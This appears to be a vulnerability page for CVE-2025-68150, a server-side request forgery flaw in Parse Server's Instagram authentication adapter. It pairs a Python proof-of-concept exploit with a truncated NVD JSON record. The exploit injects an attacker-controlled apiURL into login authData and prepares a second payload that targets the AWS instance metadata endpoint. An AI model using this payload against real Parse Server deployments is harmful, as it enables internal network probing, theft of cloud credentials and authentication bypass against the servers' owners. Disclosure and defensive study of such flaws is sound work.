CVE-2025-68150

import requests import json # CVE-2025-68150 SSRF PoC # Target: Parse Server with vulnerable Instagram auth adapter TARGET_URL = "http://target-parse-server.com/parse" ATTACKER_SERVER = "http://attacker-controlled-server.com" def exploit_ssrf(): """ This PoC demonstrates how an attacker can abuse the apiURL parameter in Instagram authData to perform SSRF attacks. """ # Malicious authData with custom apiURL pointing to attacker-controlled server malicious_auth_data = { "instagram": { "id": "malicious_user_id", "access_token": "fake_access_token", "apiURL": ATTACKER_SERVER # Attacker controls this URL } } # Login request with malicious authData login_payload = { "authData": malicious_auth_data } # Alternative: SSRF to internal services internal_ssrf_payload = { "authData": { "instagram": { "id": "test_user", "access_token": "test_token", "apiURL": "http://169.254.169.254/latest/meta-data/" # AWS metadata } } } try: # Send request to Parse Server response = requests.post( f"{TARGET_URL}/users", json=login_payload, headers={"Content-Type": "application/json"} ) print(f"Status: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": print("CVE-2025-68150 SSRF PoC") print("Target: Parse Server Instagram Auth Adapter") exploit_ssrf()

{"cve": {"id": "CVE-2025-68150", "sourceIdentifier": "[email protected]", "published": "2025-12-16T19:16:00.107", "lastModified": "2026-01-02T16:39:47.973", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to versions 8.6.2 and 9.1.1-alpha.1, the Instagram authentication adapter allows clients to specify a custom API URL via the `apiURL` parameter in `authData`. This enables SSRF attacks and possibly authentication bypass if malicious endpoints return fake responses to validate unauthorized users. This is fixed in versions 8.6.2 and 9.1.1-alpha.1 by hardcoding the Instagram Graph API URL `https://graph.instagram.com` and ignoring client-provided `apiURL` values. No known workarounds are available."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "8.6.2", "matchCriteriaId": "D7043F25-DF79-48D7-8250-56A2F4C00C58"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.0.0:-:*:*:*:node.js:*:*", "matchCriteriaId": "8B70EF9C-E96C-4CAD-B37A-CEE49E18DF79"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.0.0:alpha1:*:*:*:node.js:*:*", "matchCriteriaId": "F87055EE-97EB-4D89-A8F4-CF475A209A6D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.0.0:alpha10:*:*:*:node.js:*:*", "matchCriteriaId": "93064C1D-E8AD-43B2-AA4D-58679AD9481C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.0.0:alpha11:*:*:*:node.js:*:*", "matchCriteriaId": "4BC44180-5889-4C13-84A6-D064840552B2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.0.0:alpha2:*:*:*:node.js:*:*", "matchCriteriaId": "E055BE49-AD0F-432D-A0AC-57E3445B817E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.0.0:alpha3:*:*:*:node.js:*:*", "matchCriteriaId": "E12DB798-F2BD-497F-8959-325CF2203154"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.0.0:alpha4:*:*:*:node.js:*:*", "matchCriteriaId": "8E41CD4B-C330-489D-8F5E-5F13C36D469A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.0.0:alpha5:*:*:*:node.js:*:*", "matchCriteriaId": "E21ADF47-2FE5-4B76-87C7-7D4E8A60AA22"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.0.0:alpha6:*:*:*:node.js:*:*", "matchCriteriaId": "531E12EB-D587-4461-9862-A2B1AA9F8E4B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.0.0:alpha7:*:*:*:node.js:*:*", "matchCriteriaId": "4AEEB069-5B71-4240-89FD-E1AF2748F70B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplat ... (truncated)